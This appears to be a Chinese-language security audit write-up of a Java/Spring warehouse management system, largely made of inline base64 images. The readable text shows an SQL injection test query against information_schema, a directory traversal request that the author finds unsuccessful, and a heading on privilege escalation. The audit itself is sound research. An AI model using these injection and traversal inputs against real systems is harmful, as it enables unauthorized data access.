QomixVHWgF1GzeTOXWYT9un8F5rBJBDDPVorK9bQ7mphS5lFU11FgaP96OU3hmYS7KKxWbHajGhyBIYOgktSiQcIXpzE7VswmZ3YDfphCMahmLGZjEhoxPXooRDYWL3SiWRVCx2O470Ujbu2Yna/EPe70p+J1t6Izs2ZRIYPM5PfvQWvSGQTCmUNO7jm69uoLxhNfmtRxkzVMxWO06nFYVU0pw2TLKKzZlGVk4OpvldJaIB/MHIfBOYjNWZisMqEfGFMMxWrBYTsmSgx2OEg0HCN7+OS2ZSMtOw3tQ6begJogEP/uhtJ4CkYLE5cFplYtEoGmZsVhUZg4QWJRwOE9NuPy4SqsWG3WbFrMoYepxoKEjc5MRhkYh4PYTuWGf5SWoR9fU1FKXOcfqXb/LJxX68GsiOKp77zdfZvW4ra45fZc4/R+SWwhjIJjsOuxWzIoGRIBYJEQhGbwSxkoLJ5iTdscAEILpGOBQkEL6zxlxWzVhtNixmE4oEhj5/HUW0BWvoFfP8cTQpt153YW2+LBKyaiMtw4GKmfQMJ2ZZRrU4yMjJuX7j1uNRwkE/oZiBlF5CY9MqCrRRWq8O4fKHiGqJRVNH5OKNPLcuhbGr7fRMzOG7ft59NomAi74Lh+m7kPycs2Y3z+cUkX3XtVRsqU7sFtMtPem1kAdfSFv4O8gqNrsDq0VFkWUkQydxx3GUMVnspKTaUHCQnmrHJCtY7alk5uZer0lMRIMEQ2GiKzLJU8asWrGZzJhkBVkimXISjxCKRdGM21+qZCxmBw6T6XraSTgaRDdl4FTiBMNeQokoM5On+MVkcg1nShlPOFax415PMinOXDCMqqRRZM8kTbE9nK8srEyqnfQUG5Lmxx2I3fi7JGFxZGBXE0QCXsJxCcVkw5liQ8VKeqoDk6yAxUl6VjYG1+5fEUKh4C3XnayYsVitmM1q8l6aiBOLRohENRILdOaULbU01DiRAs0cvXC35jgJWTFhs9uxmFXka3FDPEY0HCYSvT1FUEIxW6/fp9GTz4u4ZMFiNaGHfAQjGtHxdo6Ot19fq+6VGuoK0+/7kCbCQaYun6d/1ytkl1dTpnbQs0hNnqSYsdkd2CwyiUiIYHh57tlfVisgMM+k6amXeGLrKrJUCUkxYTGpjB3/S/76g3amfLf/0gq2/Doef/oJNlZlY7NaUdAIB+YYuXKaI0cv0O+OYsg2ssv38d3f2UuBJCMrCqpJRVr/LL/d8NT1B4Kn9xQfvv8u5wZvS5uQlGRAml7AqnWb2bpxFTnWGO3vHefWp4kZT18HMxvW0VRmYdS6nhrzIB/2RNj2zO2btJJZXM/mnVtpqiogxWJCToSYmxyk7dwpzrUN4Y4kv6/kKGXLcy/ybE2YC63DhNOqWFdTSJpZxzPaxslPjnGxd4rgQu1NkorV4SQls5R1j+1i+9pSrJqbT89KgAGSjJKSTqoRIzjaQ/98/yZD8zPdd5bDRwyyorMkTEAii5rNT/HSSxvIQkJRVVRVJuep12jYdyOYnWr+JW9+dJa+mTiGYaPphe/xtS1mWt44Q6K6nrrqYjIcChHXAOc/epdPLo8Tmr8wFbWcF/7V99nokEGSkFUzUtjF+Tf/Ez8/f2vbtGTNZdXOF/jWrjQGWtsZlMvZXF9EilnHN36V8ydPcqFjFG/sxnFRrDnUP7aXPdsaKE4zofmn6blwmPH8l3hqrcSZH/w/vNfnI/aQW7eltAwyUh2YZnrpn5rDOx8nJwJ99AzNsbm8kPxcM+o4cFMMncBCyYaneWZXE8VZDkxxH4Otx3n//dMM+LT545JK0bav8/v7V6FcrLine truncated
|
||||
在可控参数处插入SQL语句查询<code>SELECT SCHEMA_NAME AS NAME FROM information_schema.SCHEMATA LIMIT 0;</code><br>
|
||||
尝试debug 可以看到前端传入的SQL语句已经被执行了<a id=img3 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707454750652-eec65774-e18e-46d2-9953-e55cdbf1e90a.png#averageHue=%23292c33&clientId=u1a050abd-bc2d-4&from=paste&height=433&id=udfd25426&originHeight=649&originWidth=1275&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=233477&status=done&style=none&taskId=ua72c11c7-47c3-4d81-822f-6a5625d0ba6&title=&width=850" title><img src="data:image/png;base64,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 truncated
|
||||
<h1 id=toc-1>失败的目录穿越</h1>
|
||||
<p>查看代码<a id=img4 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026047475-cba251b7-8f7f-4fd3-9754-4e1a4d57a34b.png#averageHue=%23202125&clientId=u5f11db5c-dd70-4&from=paste&height=300&id=u4ca02ed8&originHeight=450&originWidth=1014&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=104742&status=done&style=none&taskId=u375ca846-3b1b-4ef0-aa35-93b5767cc37&title=&width=676" title><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAA/YAAAHCCAYAAABFbFLGAAAgAElEQVR4nOy9d3gW153o/5mZt1fpVa+gThESvRdjbHABG9sY4+7EKZvcZFP23t/9JffZ3exmN9nN3Wyq49gkTpzYca+4YXCjN1EkIUC911fl7X3m/vEKJIFsSxgbnMzneXgeNPPOmTNnvnPO+ZbzPUJxyUzFbLXS39eLioqKioqKioqKioqKiorK5wvN5a6AioqKiorKpcKUlo6o032iMkID/UR8vktUIxUVFRUVFRWVTx/xcldARUVFRUVFRUVFRUVFRUXl4lEVexUVFRUVFRUVFRUVFRWVzzGqYq+ioqKioqKioqKioqKi8jlGVexVVFRUVFRUVFRUVFRUVD7HqMnzVD4/iDrsVgM+j4eorFzu2lyxiKKIKIgYTSZMJhOiKKEoMoFggIDfTywWm1A5siyjKGo7X1IE0JgMiNEQ4dCFbSuIIhqTDklSCLtDqGJ+GRE1GGxalHCEsD+K+ipUVP62ECUNFouZgMdFRL7ctVFRUVH5eFTFXuXi0RlZtDQJf6OTqtbgp3gjAVNKAWuuW0d5apjf//4JuoYCn+L9Pr/otDqsNhtz5y1gal4+KSmpRCIRtFoNg4NDdHS0UXH4IF6v9yPLURSIyTHCoSCRSOQzqv1fP4LGRPHmuYR2HaGh4bxvRtSTs24mWYV2RHmIyq1H8YSFiRcuanDMyibBGKL9cBfhidlvVD4E0ZLF7C8VInn99Byuo/mok6iq3auo/M2gt6ay+cEvo+k9xo4336bB+WnOc1RUVFQ+OVJScuoPdHo9Ab+6tY/K5DDMzOV/bcknSxdid6X7U7uPzp7FvV//DldP0/PWc09R0zqAajy/EEmSSE5K4aabbyU7O5dgIMDAQD9PPfknJFEiKzsbZJlly1fS2FBHIPDhxhFBiHv+JUlDNBpVPfeXCF3edGYt0XPmnRbC4bFtqp8zm0XXJNPyRgWV25oIy5NQ6gExMYGyTXPJmZWO+3QjHs/f5jvTWiwIkvSJyogFAsS8fXRUdCNMnUrx/FQGz7Th9/1ttqmKyt8i0VCAXo/EVRs3s6TYQfWJKrwhdfahoqJy5XIFe+wFUotTWbcqgxyHBlEUUYIhKg+28v6hQTxRyFtUwtdvTcE1GAYURAmcjX28/lY7LYPRy/0AF4HI7LXFPLAc/vMfT9EljJ3Yb/i7xaycouHo04d46kQYx5IZ/O/1iYQbWvjHx9o/89oGG3p5+R3w1g58incRKVtzN0W6Rn72zw9R03/p3JCCRsfau7/NyhIHokZHQqKeHT/+Bi82fj4n73qDkYVLluLzeXnnnbdZu/Z6tm9/A4CKisMUl0zjZE01vX29XHX1tWx/8zV8H7NXtyiKaLQawqEYYGfev1+F7sRJKp4dYt5PluB7+TBV+7o/NEw59foVlM+KcujX+3H5L+3zjosgMOWmpeSVmBAkCYNdS9PD2zjd8hncG0jfuIYZOUMc2lqB9wLnjo6ca3Lw1dcRDF4oxzqLgajLy0CbK25ZOQ9jYSFlN07FoANBEIg2N7Dn2cZz52W3l6a99bjMIQb7RsrXFhax7NapAGgsZmJdrRz641F8kwx6EXKnc+03pxGprGLXn+uJAUnrr2FWppNDfzqO/6/QmaWEAnScHGB6YRKiNJ6hJZGFP1mFsvs4x7b5WfiTBbieOsjJY87PvK4TIWfmBr751els/eZ/UneejCXMvIt/vjOJH/zoEVz+8CW758IHf8FNCYf5xUNP0PcZyYhoL+Of/+93SPIP4PJHQBCI+fs4vOMldhxsIPg57OIFCvjWL/+e1sd/yYsVDWPO5a66j3+6dzFdVXv56aNP4zdk8eUvf438/CTe2/pPvFbRPeH7ZE+7kW9+vZTff/M/qD1PRmzT7+QH96Twwx//lkHvpZORBV/8GRuTjvLLX/2ZngnKiCBoKchZwW2lS0jTatFIGtyDJ3mqYhs1bi8KEovm/z1/X5KF0+tldI/b0/oiPz1WSeGsb/GV/EQQRGyWFKSwi6FQEIUIlZV/5I9NHbRX7eRf/6mbr337i2xZXcrPXzmmLstRUVG5YrliFXt9dgpfuruI7sP1/PHlIUKyQHJhBvfdMp2w7wRvn4grJLEeJ7/5QxMIApJez413z+CWlX5+/krvZX6CT4MYLa0xCuelYjrRy7KlifS3ujFcrur4vOx87aNDuj8pgpjP8pW5VL74m0uq1AMo0Qi7X9rKEa2IJb2A+794zyUt/7MmIyOTrMxs3nxjGwajkUAgvqYeIBIJ09hYj8ORxIH9e1l33Y3k5RdSXXXiY8uVxGHvpyIjR0GJySiKjBxRUK60ReCKQsfOCnp3iWgT7czaMvdy1+gcUlYmeVNEWg/1EB3H7hhwBxA1ZkSNCIyVdUURSF0xDam3gYq3W4jJwPlLJKJhevafoee8cqMtzRzc2gFA0toVFDku/hnkqIyhKIdUWz1dn16QzhWFOcVMLBwi4h/npSkysSgIsgxKDDnClfdN/A1T+c6TvLCvBUHSU7x8Iw/c/w3cfd/ng4a/vqVcMaWLiDadbKOBvsQCDJ5e+sSky12tTw2zeQb3zLuKjsq/8OdeJ4omi/vXfJG1U2s5U1VBVLGQbTcz2P0ePz2wn9FvPBLxEAWaav/EjxsFIIX7rv87Qqdf4tmmOhQUAqGRDi7aX81771TypY2ryHv1KI3K5KKpVFRUVD4rrlDFXqR0TipJwX7+8HY3XcOGYaezmTfK05idb+eDqrhir8RiDAyGhq8Lsu+om6+U2kDpAUFAYzawfG0+y0vtGAWZ7sZeXnujjaaB4UmaKFI0P4fb1mZgEaLUH22jK6uI6f1NPPxSByGDiXsenEVuWx0/ejnumbZlOfjqgyWc/MMB3miLT+IcuQ5uuH4KJZlG5GCIhopWtu1yMjjsGtDZzVx9QwELi0wYJIGAL0jFu43sqHAREfVseGAGK/LNSFoJjQa++6NkFCDiC/Ls48c40REDBPrr+jEsSiZ/epj5di/HqiKU54y0nDHFztrrpzBrihm9HKWndYA3Xm+mcSCuKKTMKuQ76/T84UCQDcuSSTUJ1B9t4cW3uhkIKWAy84Wvl5HR1c4JEllUbEV2udn+ch37G+OmdEWx8rV/msVUvYCk0+A52cS/Pt46UgmtjhvvmsXVUg+vu+2smGkDn59db9XzfrXvnLXbMSWF226dSkGiRGddDzVKMitTvTzy8Ck6hkdhMbuYHMHLge7z1RWJGdc9yLdvKeCRf/4/VHTH36c2fRn//m9foOJPP+a5XQ0IOiuzVlzPjavnkWDQEg4Ocfzdl3lzTzXesIzfPYgfiBhSiH5IhJ29/H5+cJuVH/7kUQaGvRTLv/4QV4Xe4L8ffx1/FCRjEgvXbWLdkmnYdAr9rdW8/tIrHG/u/zhhjyMImCx2jLoLQ4hD3gG84yRaO5/y8jlYrDY2bd6CVqsD4Itf+uq586IoodVqmVU2G0EQ0Ov1nDlzitI58+hsa6W3uwtFjjeCRqulaMZMQKGqomK4BCWu2CsyII/6/wjG3BxKb5mOwy4wVNdGX0wDjChEglZH8vxiipdnYzSKyD4PzTuraa4aRNaZKL1nCeKBd6k8ZWbW/1hKstzDoYdPEMiZxeKr4eiTVehmzGHxKg0VFVGmL0nDoInRd7iG0x90EgorRH1Boj6ISno+Kk+gtSiXkrXF2JN0EAriPHKa03u6CA23tWS1kbNmOjklCeg1CkHnEM07a2hvGDFmmQunUrqhBLtFYfBUC07th2w0IkiklmegDbpw1rvG9fjEXEFkjQ1Jq2FEsRfRJRiQAJNFQvbEuOBixUjJN5YzNVUHkgaNEuH41rfpaI23uxKJEBiMGwHGS9h3rooGI5lXzaRgdgoGLXjbu6jbfpq+zhEXWtTlw6foyF2SRPf2C2VbNFvIumoaU2cmoddCyOWmdWcNraddKGjIuWM5JcluBpVkErT91O33MGVNIXJHM8efP4XPryBotCTOLWLayhzMRpGox03zOydpOTmEPErcNMnJzLlvAQmCm2N/Ooiz72KitLTolm1AKXYRfmwnwgWREiLWVCPRYD/hcYNbZOQIiLKCgowSVZAv6bIVHYs2f4P7pw1wzF9CsbWFba83sOyWGzD1V7D10adpdUcRNHoK5q3ltvWrSLVoCXu62fvm8+w8XE8wpmXxhge5Y20ZOkmLXi/x7Yd+e245045H/4FXK4fDaQQdRavuZN3yWTj0Mo2HX+OZV/fiDMTlUWNKYfn6O1gzvxCrHgZaTrLtpRc51nRWFgRyy6/lrtuvI90UpfHYu5zST/KRtUaSbKYLDityDI97iMgk7Lshn5v+/njdBg9UcPsNC5mSmwkNDQiilinlq9m08RoybHoi3l4O73yJt/adxjecKU2fWMDGe+9lUX4igYEWjlS3svTqJbzxw3/gvR7QltzNT+5P56c//Q3t/fFBa/5XHmK97n1+vvU5hkIgGRKZcLine truncated
|
||||
发现没有对<code>../</code>进行过滤,尝试挖掘<br>
|
||||
get请求<code>/WMS/commons/fileSource/download/../1.txt</code>,发现返回404,才发现他的value的值如下<code>value = "download/{fileName:.+}"</code>这里直接拼接<code>/../</code>springboot会解析到上层接口<br>
|
||||
如下写法即可直接解析<code>/../</code></p>
|
||||
<div class=highlight><pre><span></span>@RequestMapping(value = "/download/**", method = RequestMethod.GET)
|
||||
public void downloadFile(@PathVariable String fileName, HttpServletResponse response) throws IOException {
|
||||
// ...
|
||||
}
|
||||
</pre></div>
|
||||
<p>要想在这个接口进行目录穿越就要<code>如下请求/WMS/commons/fileSource/download/supplierInfo.xlsx/../1.txt</code><br>
|
||||
但是被<code>@PathVariable</code>注解取出参数为1.txt,,所以此处并无任意文件读取。</p>
|
||||
<h1 id=toc-2>越权<a id=img5 href="https://cdn.nlark.com/yuque/0/2024/png/21762749/1707026088754-ad073996-b45b-48a6-8b8d-1aac8336e0ad.png#averageHue=%23f7f6f6&clientId=u5f11db5c-dd70-4&from=paste&height=206&id=ua1031857&originHeight=309&originWidth=1020&originalType=binary&ratio=1.5&rotation=0&showTitle=false&size=37567&status=done&style=none&taskId=u0770ec56-2d79-4e1a-b7b4-d3f85eafc30&title=&width=680"><img src="data:image/png;base64,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